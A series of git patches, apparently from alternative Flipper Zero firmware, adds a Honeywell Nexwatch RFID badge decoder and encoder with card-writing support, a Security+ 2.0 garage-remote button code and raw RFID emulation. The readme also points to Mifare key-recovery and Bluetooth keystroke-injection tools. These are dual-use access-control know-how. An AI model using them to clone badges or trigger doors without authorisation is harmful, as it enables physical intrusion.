bit_lib_get_bits_32(protocol->encoded_data, 32, 32); + request->t5577.block[3] = bit_lib_get_bits_32(protocol->encoded_data, 64, 32); + request->t5577.blocks_to_write = 4; + result = true; + } + return result; +}; + +const ProtocolBase protocol_nexwatch = { + .name = "Nexwatch", + .manufacturer = "Honeywell", + .data_size = NEXWATCH_DECODED_DATA_SIZE, + .features = LFRFIDFeaturePSK, + .validate_count = 6, + .alloc = (ProtocolAlloc)protocol_nexwatch_alloc, + .free = (ProtocolFree)protocol_nexwatch_free, + .get_data = (ProtocolGetData)protocol_nexwatch_get_data, + .decoder = + { + .start = (ProtocolDecoderStart)protocol_nexwatch_decoder_start, + .feed = (ProtocolDecoderFeed)protocol_nexwatch_decoder_feed, + }, + .encoder = + { + .start = (ProtocolEncoderStart)protocol_nexwatch_encoder_start, + .yield = (ProtocolEncoderYield)protocol_nexwatch_encoder_yield, + }, + .render_data = (ProtocolRenderData)protocol_nexwatch_render_data, + .render_brief_data = (ProtocolRenderData)protocol_nexwatch_render_data, + .write_data = (ProtocolWriteData)protocol_nexwatch_write_data, +}; diff --git a/lib/lfrfid/protocols/protocol_nexwatch.h b/lib/lfrfid/protocols/protocol_nexwatch.h new file mode 100644 index 000000000..0872ca7dc --- /dev/null +++ b/lib/lfrfid/protocols/protocol_nexwatch.h @@ -0,0 +1,4 @@ +#pragma once +#include + +extern const ProtocolBase protocol_nexwatch; From a11b6e72dcbe8873136952c7c8a0953fdd418ae6 Mon Sep 17 00:00:00 2001 From: MX <10697207+xMasterX@users.noreply.github.com> Date: Sun, 28 May 2023 03:53:54 +0300 Subject: [PATCH 070/100] Update changelog and readme + some small fixes --- CHANGELOG.md | 22 +++++++++++++++++-- ReadMe.md | 7 +++--- .../external/mifare_nested/application.fam | 2 +- .../desktop/scenes/desktop_scene_main.c | 4 +++- 4 files changed, 28 insertions(+), 7 deletions(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index 23e815ba9..0c4943faa 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -1,20 +1,38 @@ ### New changes +* !!! **Warning! After installing, Desktop settings (Favoutite apps, PIN Code, AutoLock time..) will be resetted to default due to settings changes, Please set your PIN code, Favourite apps again in Settings->Desktop** !!! +* If you have copied any apps manually into `apps` folder - remove `apps` folder or that specific apps you copied on your microSD before installing this release to avoid issues due to OFW API version update! If you using regular builds or extra pack builds (e) without your manually added apps, all included apps will be installed automatically, no extra actions needed! +----- +* Desktop: **Show clock on main screen** (Enable in Settings->Desktop->Show Clock) (by @gid9798 | PR #484) +* SubGHz Remote: New plugin - Configurator (Remote Maker) - Now you can create and edit map files on flipper! (by @gid9798 | PR #487) * SubGHz Remote: Full refactoring, app was re-made from scratch (by @gid9798) +* Archive: Fix rename, show error message to user * API: Cleanup, mini refactoring of some apps (+6k of free flash space) * SubGHz: Various fixes (by @gid9798) * SubGHz: Fix counter settings in debug * SubGHz: Move dangerous_settings check (by @gid9798 | PR #475) +* Misc: Move NFC plugins into NFC folder * Misc: Name changer code moved to proper place, load after system startup + extra checks +* Plugins: Merge tiktok and ytshorts remote into one (by @Willy-JL) * Plugins: NMEA GPS UART - stability fix * Plugins: Port XFW keyboard with extra symbols to WiFi Marauder instead of using UART Term keyboard (thanks to @Willy-JL) -* Plugins: Update NMEA GPS UART [(by ezod)](https://github.com/ezod/flipperzero-gps) +* Plugins: Moved from extra pack to main FW: Mifare Nested [(by AloneLiberty)](https://github.com/AloneLiberty/FlipperNested) - Works with PC and python app `FlipperNested` +* Plugins: Update TOTP (Authenticator) [(by akopachov)](https://github.com/akopachov/flipper-zero_authenticator) (+ Add option to set custom fonts) +* Plugins: Update NMEA GPS UART [(by ezod)](https://github.com/ezod/flipperzero-gps) (GLL support) * Plugins: Update WiFi Marauder [(by 0xchocolate)](https://github.com/0xchocolate/flipperzero-firmware-with-wifi-marauder-companion) +* OFW PR 2680: RFID - Add support for Nexkey/Nexwatch (by @mauimauer) +* OFW: nfc: Mifare Ultralight C detection +* OFW: api: added toolbox/api_lock.h +* OFW: NFC: Add support for Gen4 "ultimate card" in Magic app +* OFW: desktop: Refactor favorites settings and allow app browser in selection +* OFW: Infrared: respect carrier frequency and duty cycle settings -> **Breaking API change, API version was changed from 26.x to 27.x** +* OFW: Desktop,Rpc: desktop status subscription +* OFW: Storage, common_rename: check that old path is exists * OFW: Services: remove deallocator for persistent services * OFW: Storage: common_rename is now POSIX compliant * OFW: Removed user-specific data from tar artifacts * OFW: fbt: Fix tar uid overflow when packaging * OFW: fbt: Use union for old py (Fix builds if using older python versions) -* OFW PR 2682: USB HID report timeout (by nminaylov) +* OFW: USB HID report timeout #### [🎲 Download latest extra apps pack](https://github.com/xMasterX/all-the-plugins/archive/refs/heads/main.zip) diff --git a/ReadMe.md b/ReadMe.md index e25896a23..9b6947e90 100644 --- a/ReadMe.md +++ b/ReadMe.md @@ -45,6 +45,7 @@ Our Discord Community: * Universal remote for Projectors, Fans, A/Cs and Audio(soundbars, etc.) * Customizable Flipper name **Update! Now can be changed in Settings->Desktop** (by @xMasterX and @Willy-JL) * Text Input UI element -> Cursor feature (by @Willy-JL) +- **BadBT** plugin (BT version of BadKB) [(by Willy-JL, ClaraCrazy, XFW contributors)](https://github.com/ClaraCrazy/Flipper-Xtreme/tree/dev/applications/main/bad_kb) - (See in Applications->Tools) - (aka BadUSB via Bluetooth) - BadUSB -> Keyboard layouts [(by rien > dummy-decoy)](https://github.com/dummy-decoy/flipperzero-firmware/tree/dummy_decoy/bad_usb_keyboard_layout) - Sub-GHz -> External CC1101 module support - [(by quen0n)](https://github.com/DarkFlippers/unleashed-firmware/pull/307) - Sub-GHz -> `Add manually` menu extended with new protocols @@ -164,8 +165,8 @@ You can support us by using links or addresses below: - **ProtoView** [(by antirez)](https://github.com/antirez/protoview) - **SWD Probe** [(by g3gg0)](https://github.com/g3gg0/flipper-swd_probe) - IR Scope [(by kallanreed)](https://github.com/DarkFlippers/unleashed-firmware/pull/407) -- BadBT plugin (BT version of BadKB) [(by Willy-JL, ClaraCrazy, XFW contributors)](https://github.com/ClaraCrazy/Flipper-Xtreme/tree/dev/applications/main/bad_kb) -- [Flipper (Mifare) Nested (by AloneLiberty)](https://github.com/AloneLiberty/FlipperNested) - Works with PC and python app `FlipperNested` +- **BadBT** plugin (BT version of BadKB) [(by Willy-JL, ClaraCrazy, XFW contributors)](https://github.com/ClaraCrazy/Flipper-Xtreme/tree/dev/applications/main/bad_kb) (See in Applications->Tools) - (aka BadUSB via Bluetooth) +- **Mifare Nested** [(by AloneLiberty)](https://github.com/AloneLiberty/FlipperNested) - Works with PC and python app `FlipperNested` Games: - DOOM (fixed) [(by p4nic4ttack)](https://github.com/p4nic4ttack/doom-flipper-zero/) @@ -194,7 +195,7 @@ Games: ## [- How to change Flipper name](https://github.com/DarkFlippers/unleashed-firmware/blob/dev/documentation/CustomFlipperName.md) -## [- How to use (Mifare) Nested plugin to recover keys](https://github.com/AloneLiberty/FlipperNested#how-to-use-it) +## [- How to use Mifare Nested plugin to recover keys](https://github.com/AloneLiberty/FlipperNested#how-to-use-it) ### **Sub-GHz** diff --git a/applications/external/mifare_nested/application.fam b/applications/external/mifare_nested/application.fam index 9bebd9fd8..236abf6d1 100644 --- a/applications/external/mifare_nested/application.fam +++ b/applications/external/mifare_nested/application.fam @@ -1,6 +1,6 @@ App( appid="mifare_nested", - name="Flipper (Mifare) Nested", + name="Mifare Nested", apptype=FlipperAppType.EXTERNAL, entry_point="mifare_nested_app", requires=[ diff --git a/applications/services/desktop/scenes/desktop_scene_main.c b/applications/services/desktop/scenes/desktop_scene_main.c index 79f17fee7..3d1b16c57 100644 --- a/applications/services/desktop/scenes/desktop_scene_main.c +++ b/applications/services/desktop/scenes/desktop_scene_main.c @@ -82,7 +82,9 @@ static void desktop_scene_main_start_favorite(Desktop* desktop, FavoriteApp* app } else if(strlen(application->name_or_path) > 0) { status = loader_start(desktop->loader, application->name_or_path, NULL); } else { - status = loader_start(desktop->loader, FAP_LOADER_APP_NAME, NULL); + // No favourite app is set! So we skipping this part + return; + //status = loader_start(desktop->loader, FAP_LOADER_APP_NAME, NULL); } if(status != LoaderStatusOk) { From 1e1b85a5758e7055d0fb248af8e2ee9a9277167b Mon Sep 17 00:00:00 2001 From: MX <10697207+xMasterX@users.noreply.github.com> Date: Sun, 28 May 2023 04:18:32 +0300 Subject: [PATCH 071/100] SecPlus 2.0 - Add new custom button Fix issue with add manually --- CHANGELOG.md | 1 + lib/subghz/protocols/secplus_v2.c | 34 +++++++++++++++++++++++++++++-- 2 files changed, 33 insertions(+), 2 deletions(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index 0c4943faa..0bdc1ffcb 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -7,6 +7,7 @@ * SubGHz Remote: Full refactoring, app was re-made from scratch (by @gid9798) * Archive: Fix rename, show error message to user * API: Cleanup, mini refactoring of some apps (+6k of free flash space) +* SubGHz: Security+ 2.0 -> add extra custom button `0x78` - Fixes issue #469 * SubGHz: Various fixes (by @gid9798) * SubGHz: Fix counter settings in debug * SubGHz: Move dangerous_settings check (by @gid9798 | PR #475) diff --git a/lib/subghz/protocols/secplus_v2.c b/lib/subghz/protocols/secplus_v2.c index d39f794ab..7acfb74ac 100644 --- a/lib/subghz/protocols/secplus_v2.c +++ b/lib/subghz/protocols/secplus_v2.c @@ -345,7 +345,7 @@ static void if(subghz_custom_btn_get_original() == 0) { subghz_custom_btn_set_original(instance->btn); } - subghz_custom_btn_set_max(3); + subghz_custom_btn_set_max(4); } /** @@ -377,7 +377,7 @@ static uint64_t subghz_protocol_secplus_v2_encode_half(uint8_t roll_array[], uin /** * Defines the button value for the current btn_id - * Basic set | 0x68 | 0x80 | 0x81 | 0xE2 | + * Basic set | 0x68 | 0x80 | 0x81 | 0xE2 | 0x78 * @return Button code */ static uint8_t subghz_protocol_secplus_v2_get_btn_code(); @@ -856,6 +856,9 @@ static uint8_t subghz_protocol_secplus_v2_get_btn_code() { case 0xE2: btn = 0x80; break; + case 0x78: + btn = 0x80; + break; default: break; @@ -874,6 +877,9 @@ static uint8_t subghz_protocol_secplus_v2_get_btn_code() { case 0xE2: btn = 0x81; break; + case 0x78: + btn = 0x81; + break; default: break; @@ -892,6 +898,30 @@ static uint8_t subghz_protocol_secplus_v2_get_btn_code() { case 0xE2: btn = 0x68; break; + case 0x78: + btn = 0xE2; + break; + + default: + break; + } + } else if(custom_btn_id == SUBGHZ_CUSTOM_BTN_RIGHT) { + switch(original_btn_code) { + case 0x68: + btn = 0x78; + break; + case 0x80: + btn = 0x78; + break; + case 0x81: + btn = 0x78; + break; + case 0xE2: + btn = 0x78; + break; + case 0x78: + btn = 0x68; + break; default: break; From 0d1fea986121a34d644589b2bf9b7389b56e476d Mon Sep 17 00:00:00 2001 From: MX <10697207+xMasterX@users.noreply.github.com> Date: Sun, 28 May 2023 06:36:19 +0300 Subject: [PATCH 072/100] LFRFID PSK Raws in debug --- CHANGELOG.md | 1 + applications/main/lfrfid/lfrfid.c | 7 +++---- .../lfrfid/scenes/lfrfid_scene_raw_emulate.c | 19 +++---------------- 3 files changed, 7 insertions(+), 20 deletions(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index 0bdc1ffcb..425ba6300 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -7,6 +7,7 @@ * SubGHz Remote: Full refactoring, app was re-made from scratch (by @gid9798) * Archive: Fix rename, show error message to user * API: Cleanup, mini refactoring of some apps (+6k of free flash space) +* LFRFID: Debug: Allow PSK RAW emulation in gui * SubGHz: Security+ 2.0 -> add extra custom button `0x78` - Fixes issue #469 * SubGHz: Various fixes (by @gid9798) * SubGHz: Fix counter settings in debug diff --git a/applications/main/lfrfid/lfrfid.c b/applications/main/lfrfid/lfrfid.c index a82d2dd03..8030d785d 100644 --- a/applications/main/lfrfid/lfrfid.c +++ b/applications/main/lfrfid/lfrfid.c @@ -252,8 +252,7 @@ bool lfrfid_load_raw_key_from_file_select(LfRfid* app) { furi_assert(app); DialogsFileBrowserOptions browser_options; - dialog_file_browser_set_basic_options( - &browser_options, LFRFID_APP_RAW_ASK_EXTENSION, &I_125_10px); + dialog_file_browser_set_basic_options(&browser_options, ".raw", &I_125_10px); browser_options.base_path = LFRFID_APP_FOLDER; // Input events and views are managed by file_browser @@ -261,9 +260,9 @@ bool lfrfid_load_raw_key_from_file_select(LfRfid* app) { dialog_file_browser_show(app->dialogs, app->file_path, app->file_path, &browser_options); if(result) { - // Extract .raw and then .ask + // Extract .raw path_extract_filename(app->file_path, app->file_name, true); - path_extract_filename(app->file_name, app->file_name, true); + //path_extract_filename(app->file_name, app->file_name, true); } return result; diff --git a/applications/main/lfrfid/scenes/lfrfid_scene_raw_emulate.c b/applications/main/lfrfid/scenes/lfrfid_scene_raw_emulate.c index c06a5eebf..11fa25744 100644 --- a/applications/main/lfrfid/scenes/lfrfid_scene_raw_emulate.c +++ b/applications/main/lfrfid/scenes/lfrfid_scene_raw_emulate.c @@ -3,7 +3,6 @@ #define TAG "ADC" typedef struct { - FuriString* string_file_name; bool error; } LfRfidEmulateRawState; @@ -23,26 +22,15 @@ void lfrfid_scene_raw_emulate_on_enter(void* context) { LfRfidEmulateRawState* state = malloc(sizeof(LfRfidEmulateRawState)); scene_manager_set_scene_state(app->scene_manager, LfRfidSceneRawEmulate, (uint32_t)state); - state->string_file_name = furi_string_alloc(); popup_set_icon(popup, 0, 3, &I_RFIDDolphinReceive_97x61); view_dispatcher_switch_to_view(app->view_dispatcher, LfRfidViewPopup); lfrfid_worker_start_thread(app->lfworker); lfrfid_make_app_folder(app); - furi_string_printf( - state->string_file_name, - "%s/%s%s", - LFRFID_SD_FOLDER, - furi_string_get_cstr(app->file_name), - LFRFID_APP_RAW_ASK_EXTENSION); - FURI_LOG_D(TAG, "raw_emulate->file_name=%s", furi_string_get_cstr(state->string_file_name)); - popup_set_header(popup, "Emulating\nRAW RFID\nASK", 89, 30, AlignCenter, AlignTop); + popup_set_header(popup, "Emulating\nRAW RFID", 89, 30, AlignCenter, AlignTop); lfrfid_worker_emulate_raw_start( - app->lfworker, - furi_string_get_cstr(state->string_file_name), - lfrfid_raw_emulate_callback, - app); + app->lfworker, furi_string_get_cstr(app->file_path), lfrfid_raw_emulate_callback, app); notification_message(app->notifications, &sequence_blink_start_cyan); @@ -63,7 +51,7 @@ bool lfrfid_scene_raw_emulate_on_event(void* context, SceneManagerEvent event) { consumed = true; state->error = true; popup_set_header( - popup, "Reading\nRAW RFID\nFile error", 89, 30, AlignCenter, AlignTop); + popup, "Emulating\nRAW RFID\nFile error", 89, 30, AlignCenter, AlignTop); notification_message(app->notifications, &sequence_blink_start_red); } } @@ -81,6 +69,5 @@ void lfrfid_scene_raw_emulate_on_exit(void* context) { lfrfid_worker_stop(app->lfworker); lfrfid_worker_stop_thread(app->lfworker); - furi_string_free(state->string_file_name); free(state); } From 7b426b936eb0a40e6b13f5c355124cf9a9342450 Mon Sep 17 00:00:00 2001 From: MX <10697207+xMasterX@users.noreply.github.com> Date: Sun, 28 May 2023 19:24:21 +0300 Subject: [PATCH 073/100] Comment debug logs in digital signal and comment some debug logs in nfc v --- lib/digital_signal/digital_signal.c | 12 ++++++------ lib/nfc/protocols/nfcv.c | 24 ++++++++++++------------ 2 files changed, 18 insertions(+), 18 deletions(-) diff --git a/lib/digital_signal/digital_signal.c b/lib/digital_signal/digital_signal.c index 51a87d22a..ae110ed97 100644 --- a/lib/digital_signal/digital_signal.c +++ b/lib/digital_signal/digital_signal.c @@ -215,12 +215,12 @@ void digital_signal_prepare_arr(DigitalSignal* signal) { uint32_t edge_scaled = (internals->factor * signal->edge_timings[pos]) / (1024 * 1024); uint32_t pulse_duration = edge_scaled + internals->reload_reg_remainder; if(pulse_duration < 10 || pulse_duration > 10000000) { - FURI_LOG_D( + /*FURI_LOG_D( TAG, "[prepare] pulse_duration out of range: %lu = %lu * %llu", pulse_duration, signal->edge_timings[pos], - internals->factor); + internals->factor);*/ pulse_duration = 100; } uint32_t pulse_ticks = (pulse_duration + T_TIM_DIV2) / T_TIM; @@ -482,13 +482,13 @@ static void digital_sequence_finish(DigitalSequence* sequence) { prev_timer = DWT->CYCCNT; } if(DWT->CYCCNT - prev_timer > wait_ticks) { - FURI_LOG_D( + /*FURI_LOG_D( TAG, "[SEQ] hung %lu ms in finish (ARR 0x%08lx, read %lu, write %lu)", wait_ms, TIM2->ARR, dma_buffer->read_pos, - dma_buffer->write_pos); + dma_buffer->write_pos);*/ break; } } while(1); @@ -516,13 +516,13 @@ static void digital_sequence_queue_pulse(DigitalSequence* sequence, uint32_t len prev_timer = DWT->CYCCNT; } if(DWT->CYCCNT - prev_timer > wait_ticks) { - FURI_LOG_D( + /*FURI_LOG_D( TAG, "[SEQ] hung %lu ms in queue (ARR 0x%08lx, read %lu, write %lu)", wait_ms, TIM2->ARR, dma_buffer->read_pos, - dma_buffer->write_pos); + dma_buffer->write_pos);*/ break; } } while(1); diff --git a/lib/nfc/protocols/nfcv.c b/lib/nfc/protocols/nfcv.c index 471993b63..6b0928ea7 100644 --- a/lib/nfc/protocols/nfcv.c +++ b/lib/nfc/protocols/nfcv.c @@ -52,7 +52,7 @@ ReturnCode nfcv_read_blocks(NfcVReader* reader, NfcVData* nfcv_data) { uint16_t received = 0; for(size_t block = 0; block < nfcv_data->block_num; block++) { uint8_t rxBuf[32]; - FURI_LOG_D(TAG, "Reading block %d/%d", block, (nfcv_data->block_num - 1)); + //FURI_LOG_D(TAG, "Reading block %d/%d", block, (nfcv_data->block_num - 1)); ReturnCode ret = ERR_NONE; for(int tries = 0; tries < NFCV_COMMAND_RETRIES; tries++) { @@ -64,18 +64,18 @@ ReturnCode nfcv_read_blocks(NfcVReader* reader, NfcVData* nfcv_data) { } } if(ret != ERR_NONE) { - FURI_LOG_D(TAG, "failed to read: %d", ret); + //FURI_LOG_D(TAG, "failed to read: %d", ret); return ret; } memcpy( &(nfcv_data->data[block * nfcv_data->block_size]), &rxBuf[1], nfcv_data->block_size); - FURI_LOG_D( + /*FURI_LOG_D( TAG, " %02X %02X %02X %02X", nfcv_data->data[block * nfcv_data->block_size + 0], nfcv_data->data[block * nfcv_data->block_size + 1], nfcv_data->data[block * nfcv_data->block_size + 2], - nfcv_data->data[block * nfcv_data->block_size + 3]); + nfcv_data->data[block * nfcv_data->block_size + 3]);*/ } return ERR_NONE; @@ -86,7 +86,7 @@ ReturnCode nfcv_read_sysinfo(FuriHalNfcDevData* nfc_data, NfcVData* nfcv_data) { uint16_t received = 0; ReturnCode ret = ERR_NONE; - FURI_LOG_D(TAG, "Read SYSTEM INFORMATION..."); + //FURI_LOG_D(TAG, "Read SYSTEM INFORMATION..."); for(int tries = 0; tries < NFCV_COMMAND_RETRIES; tries++) { /* TODO: needs proper abstraction via fury_hal(_ll)_* */ @@ -110,7 +110,7 @@ ReturnCode nfcv_read_sysinfo(FuriHalNfcDevData* nfc_data, NfcVData* nfcv_data) { nfcv_data->block_num = rxBuf[NFCV_UID_LENGTH + 4] + 1; nfcv_data->block_size = rxBuf[NFCV_UID_LENGTH + 5] + 1; nfcv_data->ic_ref = rxBuf[NFCV_UID_LENGTH + 6]; - FURI_LOG_D( + /*FURI_LOG_D( TAG, " UID: %02X %02X %02X %02X %02X %02X %02X %02X", nfc_data->uid[0], @@ -128,10 +128,10 @@ ReturnCode nfcv_read_sysinfo(FuriHalNfcDevData* nfc_data, NfcVData* nfcv_data) { nfcv_data->afi, nfcv_data->block_num, nfcv_data->block_size, - nfcv_data->ic_ref); + nfcv_data->ic_ref);*/ return ret; } - FURI_LOG_D(TAG, "Failed: %d", ret); + //FURI_LOG_D(TAG, "Failed: %d", ret); return ret; } @@ -1081,9 +1081,9 @@ void nfcv_emu_sniff_packet( break; } - if(strlen(nfcv_data->last_command) > 0) { + /*if(strlen(nfcv_data->last_command) > 0) { FURI_LOG_D(TAG, "Received command %s", nfcv_data->last_command); - } + }*/ } void nfcv_emu_init(FuriHalNfcDevData* nfc_data, NfcVData* nfcv_data) { @@ -1137,7 +1137,7 @@ void nfcv_emu_init(FuriHalNfcDevData* nfc_data, NfcVData* nfcv_data) { } } - FURI_LOG_D(TAG, "Starting NfcV emulation"); + /*FURI_LOG_D(TAG, "Starting NfcV emulation"); FURI_LOG_D( TAG, " UID: %02X %02X %02X %02X %02X %02X %02X %02X", @@ -1148,7 +1148,7 @@ void nfcv_emu_init(FuriHalNfcDevData* nfc_data, NfcVData* nfcv_data) { nfc_data->uid[4], nfc_data->uid[5], nfc_data->uid[6], - nfc_data->uid[7]); + nfc_data->uid[7]);*/ switch(nfcv_data->sub_type) { case NfcVTypeSlixL: From 44426c7612f4dff67f9e2faf8bc3cd3d15613814 Mon Sep 17 00:00:00 2001 From: Sebastian Mauer Date: Mon, 29 May 2023 10:19:42 +0200 Subject: [PATCH 074/100] [LRFID] Add support for Nexkey/Nexwatch (#2680) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit * [LRFID] Add support for Nexkey/Nexwatch * Update protocol_nexwatch.c: Remove unnecessary check Co-authored-by: SG Co-authored-by: あく --- lib/lfrfid/protocols/lfrfid_protocols.c | 4 +- lib/lfrfid/protocols/lfrfid_protocols.h | 3 +- lib/lfrfid/protocols/protocol_nexwatch.c | 323 +++++++++++++++++++++++ lib/lfrfid/protocols/protocol_nexwatch.h | 4 + 4 files changed, 332 insertions(+), 2 deletions(-) create mode 100644 lib/lfrfid/protocols/protocol_nexwatch.c create mode 100644 lib/lfrfid/protocols/protocol_nexwatch.h diff --git a/lib/lfrfid/protocols/lfrfid_protocols.c b/lib/lfrfid/protocols/lfrfid_protocols.c index 2c1f0ad97..f07218d7f 100644 --- a/lib/lfrfid/protocols/lfrfid_protocols.c +++ b/lib/lfrfid/protocols/lfrfid_protocols.c @@ -16,6 +16,7 @@ #include "protocol_pac_stanley.h" #include "protocol_keri.h" #include "protocol_gallagher.h" +#include "protocol_nexwatch.h" const ProtocolBase* lfrfid_protocols[] = { [LFRFIDProtocolEM4100] = &protocol_em4100, @@ -35,4 +36,5 @@ const ProtocolBase* lfrfid_protocols[] = { [LFRFIDProtocolPACStanley] = &protocol_pac_stanley, [LFRFIDProtocolKeri] = &protocol_keri, [LFRFIDProtocolGallagher] = &protocol_gallagher, -}; \ No newline at end of file + [LFRFIDProtocolNexwatch] = &protocol_nexwatch, +}; diff --git a/lib/lfrfid/protocols/lfrfid_protocols.h b/lib/lfrfid/protocols/lfrfid_protocols.h index 848f003a3..0cb7cbc84 100644 --- a/lib/lfrfid/protocols/lfrfid_protocols.h +++ b/lib/lfrfid/protocols/lfrfid_protocols.h @@ -25,6 +25,7 @@ typedef enum { LFRFIDProtocolPACStanley, LFRFIDProtocolKeri, LFRFIDProtocolGallagher, + LFRFIDProtocolNexwatch, LFRFIDProtocolMax, } LFRFIDProtocol; @@ -39,4 +40,4 @@ typedef struct { union { LFRFIDT5577 t5577; }; -} LFRFIDWriteRequest; \ No newline at end of file +} LFRFIDWriteRequest; diff --git a/lib/lfrfid/protocols/protocol_nexwatch.c b/lib/lfrfid/protocols/protocol_nexwatch.c new file mode 100644 index 000000000..3bbbb42f5 --- /dev/null +++ b/lib/lfrfid/protocols/protocol_nexwatch.c @@ -0,0 +1,323 @@ +#include +#include +#include +#include "lfrfid_protocols.h" + +#define NEXWATCH_PREAMBLE_BIT_SIZE (8) +#define NEXWATCH_PREAMBLE_DATA_SIZE (1) + +#define NEXWATCH_ENCODED_BIT_SIZE (96) +#define NEXWATCH_ENCODED_DATA_SIZE ((NEXWATCH_ENCODED_BIT_SIZE) / 8) + +#define NEXWATCH_DECODED_BIT_SIZE (NEXWATCH_DECODED_DATA_SIZE * 8) +#define NEXWATCH_DECODED_DATA_SIZE (8) + +#define NEXWATCH_US_PER_BIT (255) +#define NEXWATCH_ENCODER_PULSES_PER_BIT (16) + +typedef struct { + uint8_t magic; + char desc[13]; + uint8_t chk; +} ProtocolNexwatchMagic; + +ProtocolNexwatchMagic magic_items[] = { + {0xBE, "Quadrakey", 0}, + {0x88, "Nexkey", 0}, + {0x86, "Honeywell", 0}}; + +typedef struct { + uint8_t data_index; + uint8_t bit_clock_index; + bool last_bit; + bool current_polarity; + bool pulse_phase; +} ProtocolNexwatchEncoder; + +typedef struct { + uint8_t encoded_data[NEXWATCH_ENCODED_DATA_SIZE]; + uint8_t negative_encoded_data[NEXWATCH_ENCODED_DATA_SIZE]; + uint8_t corrupted_encoded_data[NEXWATCH_ENCODED_DATA_SIZE]; + uint8_t corrupted_negative_encoded_data[NEXWATCH_ENCODED_DATA_SIZE]; + + uint8_t data[NEXWATCH_DECODED_DATA_SIZE]; + ProtocolNexwatchEncoder encoder; +} ProtocolNexwatch; + +ProtocolNexwatch* protocol_nexwatch_alloc(void) { + ProtocolNexwatch* protocol = malloc(sizeof(ProtocolNexwatch)); + return protocol; +}; + +void protocol_nexwatch_free(ProtocolNexwatch* protocol) { + free(protocol); +}; + +uint8_t* protocol_nexwatch_get_data(ProtocolNexwatch* protocol) { + return protocol->data; +}; + +void protocol_nexwatch_decoder_start(ProtocolNexwatch* protocol) { + memset(protocol->encoded_data, 0, NEXWATCH_ENCODED_DATA_SIZE); + memset(protocol->negative_encoded_data, 0, NEXWATCH_ENCODED_DATA_SIZE); + memset(protocol->corrupted_encoded_data, 0, NEXWATCH_ENCODED_DATA_SIZE); + memset(protocol->corrupted_negative_encoded_data, 0, NEXWATCH_ENCODED_DATA_SIZE); +}; + +static bool protocol_nexwatch_check_preamble(uint8_t* data, size_t bit_index) { + // 01010110 + if(bit_lib_get_bits(data, bit_index, 8) != 0b01010110) return false; + return true; +} + +static uint8_t protocol_nexwatch_parity_swap(uint8_t parity) { + uint8_t a = (((parity >> 3) & 1)); + a |= (((parity >> 1) & 1) << 1); + a |= (((parity >> 2) & 1) << 2); + a |= ((parity & 1) << 3); + return a; +} + +static uint8_t protocol_nexwatch_parity(const uint8_t hexid[5]) { + uint8_t p = 0; + for(uint8_t i = 0; i < 5; i++) { + p ^= ((hexid[i]) & 0xF0) >> 4; + p ^= ((hexid[i]) & 0x0F); + } + return protocol_nexwatch_parity_swap(p); +} + +static uint8_t protocol_nexwatch_checksum(uint8_t magic, uint32_t id, uint8_t parity) { + uint8_t a = ((id >> 24) & 0xFF); + a -= ((id >> 16) & 0xFF); + a -= ((id >> 8) & 0xFF); + a -= (id & 0xFF); + a -= magic; + a -= (bit_lib_reverse_8_fast(parity) >> 4); + return bit_lib_reverse_8_fast(a); +} + +static bool protocol_nexwatch_can_be_decoded(uint8_t* data) { + if(!protocol_nexwatch_check_preamble(data, 0)) return false; + + // Check for reserved word (32-bit) + if(bit_lib_get_bits_32(data, 8, 32) != 0) { + return false; + } + + uint8_t parity = bit_lib_get_bits(data, 76, 4); + + // parity check + // from 32b hex id, 4b mode + uint8_t hex[5] = {0}; + for(uint8_t i = 0; i < 5; i++) { + hex[i] = bit_lib_get_bits(data, 40 + (i * 8), 8); + } + //mode is only 4 bits. + hex[4] &= 0xf0; + uint8_t calc_parity = protocol_nexwatch_parity(hex); + + if(calc_parity != parity) { + return false; + } + + return true; +} + +static bool protocol_nexwatch_decoder_feed_internal(bool polarity, uint32_t time, uint8_t* data) { + time += (NEXWATCH_US_PER_BIT / 2); + + size_t bit_count = (time / NEXWATCH_US_PER_BIT); + bool result = false; + + if(bit_count < NEXWATCH_ENCODED_BIT_SIZE) { + for(size_t i = 0; i < bit_count; i++) { + bit_lib_push_bit(data, NEXWATCH_ENCODED_DATA_SIZE, polarity); + if(protocol_nexwatch_can_be_decoded(data)) { + result = true; + break; + } + } + } + + return result; +} + +static void protocol_nexwatch_descramble(uint32_t* id, uint32_t* scrambled) { + // 255 = Not used/Unknown other values are the bit offset in the ID/FC values + const uint8_t hex_2_id[] = {31, 27, 23, 19, 15, 11, 7, 3, 30, 26, 22, 18, 14, 10, 6, 2, + 29, 25, 21, 17, 13, 9, 5, 1, 28, 24, 20, 16, 12, 8, 4, 0}; + + *id = 0; + for(uint8_t idx = 0; idx < 32; idx++) { + bool bit_state = (*scrambled >> hex_2_id[idx]) & 1; + *id |= (bit_state << (31 - idx)); + } +} + +static void protocol_nexwatch_decoder_save(uint8_t* data_to, const uint8_t* data_from) { + uint32_t id = bit_lib_get_bits_32(data_from, 40, 32); + data_to[4] = (uint8_t)id; + data_to[3] = (uint8_t)(id >>= 8); + data_to[2] = (uint8_t)(id >>= 8); + data_to[1] = (uint8_t)(id >>= 8); + data_to[0] = (uint8_t)(id >>= 8); + uint32_t check = bit_lib_get_bits_32(data_from, 72, 24); + data_to[7] = (uint8_t)check; + data_to[6] = (uint8_t)(check >>= 8); + data_to[5] = (uint8_t)(check >>= 8); +} + +bool protocol_nexwatch_decoder_feed(ProtocolNexwatch* protocol, bool level, uint32_t duration) { + bool result = false; + + if(duration > (NEXWATCH_US_PER_BIT / 2)) { + if(protocol_nexwatch_decoder_feed_internal(level, duration, protocol->encoded_data)) { + protocol_nexwatch_decoder_save(protocol->data, protocol->encoded_data); + result = true; + return result; + } + + if(protocol_nexwatch_decoder_feed_internal( + !level, duration, protocol->negative_encoded_data)) { + protocol_nexwatch_decoder_save(protocol->data, protocol->negative_encoded_data); + result = true; + return result; + } + } + + if(duration > (NEXWATCH_US_PER_BIT / 4)) { + // Try to decode wrong phase synced data + if(level) { + duration += 120; + } else { + if(duration > 120) { + duration -= 120; + } + } + + if(protocol_nexwatch_decoder_feed_internal( + level, duration, protocol->corrupted_encoded_data)) { + protocol_nexwatch_decoder_save(protocol->data, protocol->corrupted_encoded_data); + + result = true; + return result; + } + + 